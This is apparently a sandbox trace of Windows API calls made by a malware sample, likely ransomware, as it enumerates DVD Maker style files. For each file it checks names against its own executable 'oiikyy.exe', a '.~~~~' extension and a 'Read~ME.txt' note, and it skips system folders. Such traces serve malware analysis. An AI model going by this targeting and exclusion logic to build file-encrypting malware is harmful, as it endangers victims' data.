	[0081.769] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x2, cFileName="bandwidth.png", cAlternateFileName="")) returned 1
	[0081.769] lstrcmpiW (lpString1="bandwidth.png", lpString2="Windows") returned -1
	[0081.769] lstrcmpW (lpString1="bandwidth.png", lpString2="oiikyy.exe") returned -1
	[0081.769] StrStrW (lpFirst="bandwidth.png", lpSrch=".~~~~") returned 0x0
	[0081.769] lstrcmpW (lpString1="bandwidth.png", lpString2="Read~ME.txt") returned -1
	[0081.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.770] GetCurrentThreadId () returned 0x618
	[0081.770] RtlWakeConditionVariable () returned 0x365f48
	[0081.770] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x2, cFileName="blackbars80.png", cAlternateFileName="")) returned 1
	[0081.770] lstrcmpiW (lpString1="blackbars80.png", lpString2="Windows") returned -1
	[0081.770] lstrcmpW (lpString1="blackbars80.png", lpString2="oiikyy.exe") returned -1
	[0081.770] StrStrW (lpFirst="blackbars80.png", lpSrch=".~~~~") returned 0x0
	[0081.770] lstrcmpW (lpString1="blackbars80.png", lpString2="Read~ME.txt") returned -1
	[0081.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.770] GetCurrentThreadId () returned 0x618
	[0081.770] RtlWakeConditionVariable () returned 0x365f48
	[0081.770] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.770] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.770] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.770] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.770] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.770] GetCurrentThreadId () returned 0x618
	[0081.770] RtlWakeConditionVariable () returned 0x365f48
	[0081.770] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.770] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.770] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.770] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.770] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.770] GetCurrentThreadId () returned 0x618
	[0081.770] RtlWakeConditionVariable () returned 0x365f48
	[0081.770] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.770] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.771] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.771] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.771] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.771] GetCurrentThreadId () returned 0x618
	[0081.771] RtlWakeConditionVariable () returned 0x365f48
	[0081.771] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.771] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.771] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.771] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.771] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.771] GetCurrentThreadId () returned 0x618
	[0081.771] RtlWakeConditionVariable () returned 0x365f48
	[0081.771] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.771] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.771] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.771] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.771] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.771] GetCurrentThreadId () returned 0x618
	[0081.771] RtlWakeConditionVariable () returned 0x365f48
	[0081.771] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.771] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.771] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.771] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.771] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.771] GetCurrentThreadId () returned 0x618
	[0081.771] RtlWakeConditionVariable () returned 0x365f48
	[0081.772] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x2, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1
	[0081.772] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="Windows") returned -1
	[0081.772] lstrcmpW (lpString1="Panel_Mask.wmv", lpString2="oiikyy.exe") returned 1
	[0081.772] StrStrW (lpFirst="Panel_Mask.wmv", lpSrch=".~~~~") returned 0x0
	[0081.772] lstrcmpW (lpString1="Panel_Mask.wmv", lpString2="Read~ME.txt") returned -1
	[0081.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.772] GetCurrentThreadId () returned 0x618
	[0081.772] RtlWakeConditionVariable () returned 0x365f48
	[0081.772] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x2, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.772] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="Windows") returned -1
	[0081.772] lstrcmpW (lpString1="Panel_Mask_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.772] StrStrW (lpFirst="Panel_Mask_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.772] lstrcmpW (lpString1="Panel_Mask_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0081.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.772] GetCurrentThreadId () returned 0x618
	[0081.772] RtlWakeConditionVariable () returned 0x365f48
	[0081.772] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x2, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0
	[0081.772] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.774] GetCurrentThreadId () returned 0x618
	[0081.774] RtlWakeConditionVariable () returned 0x365f48
	[0081.774] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0081.775] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="Windows") returned -1
	[0081.775] lstrcmpW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="oiikyy.exe") returned 1
	[0081.775] StrStrW (lpFirst="scene_button_style_default_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0081.775] lstrcmpW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="Read~ME.txt") returned 1
	[0081.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.775] GetCurrentThreadId () returned 0x618
	[0081.775] RtlWakeConditionVariable () returned 0x365f48
	[0081.775] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1
	[0081.775] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="Windows") returned -1
	[0081.775] lstrcmpW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.775] StrStrW (lpFirst="shadowonlyframe_buttongraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.775] lstrcmpW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="Read~ME.txt") returned 1
	[0081.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.775] GetCurrentThreadId () returned 0x618
	[0081.775] RtlWakeConditionVariable () returned 0x365f48
	[0081.775] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0081.775] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="Windows") returned -1
	[0081.775] lstrcmpW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.775] StrStrW (lpFirst="shadowonlyframe_selectionsubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.776] lstrcmpW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.776] GetCurrentThreadId () returned 0x618
	[0081.776] RtlWakeConditionVariable () returned 0x365f48
	[0081.776] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1
	[0081.776] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="Windows") returned -1
	[0081.776] lstrcmpW (lpString1="shadowonlyframe_videoinset.png", lpString2="oiikyy.exe") returned 1
	[0081.776] StrStrW (lpFirst="shadowonlyframe_videoinset.png", lpSrch=".~~~~") returned 0x0
	[0081.776] lstrcmpW (lpString1="shadowonlyframe_videoinset.png", lpString2="Read~ME.txt") returned 1
	[0081.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.776] GetCurrentThreadId () returned 0x618
	[0081.776] RtlWakeConditionVariable () returned 0x365f48
	[0081.776] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1
	[0081.776] lstrcmpiW (lpString1="Shatter", lpString2="Windows") returned -1
	[0081.776] lstrcmpW (lpString1="Shatter", lpString2=".") returned 1
	[0081.776] lstrcmpW (lpString1="Shatter", lpString2="..") returned 1
	[0081.776] lstrcmpW (lpString1="Shatter", lpString2="AppData") returned 1
	[0081.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", lpSrch="AppData") returned 0x0
	[0081.776] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.776] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", lpString2="C:\\Windows") returned -1
	[0081.776] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.776] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", lpString2="C:\\System Volume Information") returned -1
	[0081.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.792] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.792] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.792] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.792] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.792] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.792] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.792] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.792] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.792] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.792] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.792] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.798] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.798] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.798] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.798] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.798] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.798] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.798] GetCurrentThreadId () returned 0x618
	[0081.798] RtlWakeConditionVariable () returned 0x365f48
	[0081.798] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x2, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0081.798] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="Windows") returned -1
	[0081.798] lstrcmpW (lpString1="203x8subpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.798] StrStrW (lpFirst="203x8subpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.798] lstrcmpW (lpString1="203x8subpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.798] GetCurrentThreadId () returned 0x618
	[0081.798] RtlWakeConditionVariable () returned 0x365f48
	[0081.798] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.798] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.798] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.798] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.799] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.799] GetCurrentThreadId () returned 0x618
	[0081.799] RtlWakeConditionVariable () returned 0x365f48
	[0081.799] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.799] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.799] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.799] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.799] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.799] GetCurrentThreadId () returned 0x618
	[0081.799] RtlWakeConditionVariable () returned 0x365f48
	[0081.799] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.799] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.799] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.799] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.799] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.799] GetCurrentThreadId () returned 0x618
	[0081.800] RtlWakeConditionVariable () returned 0x365f48
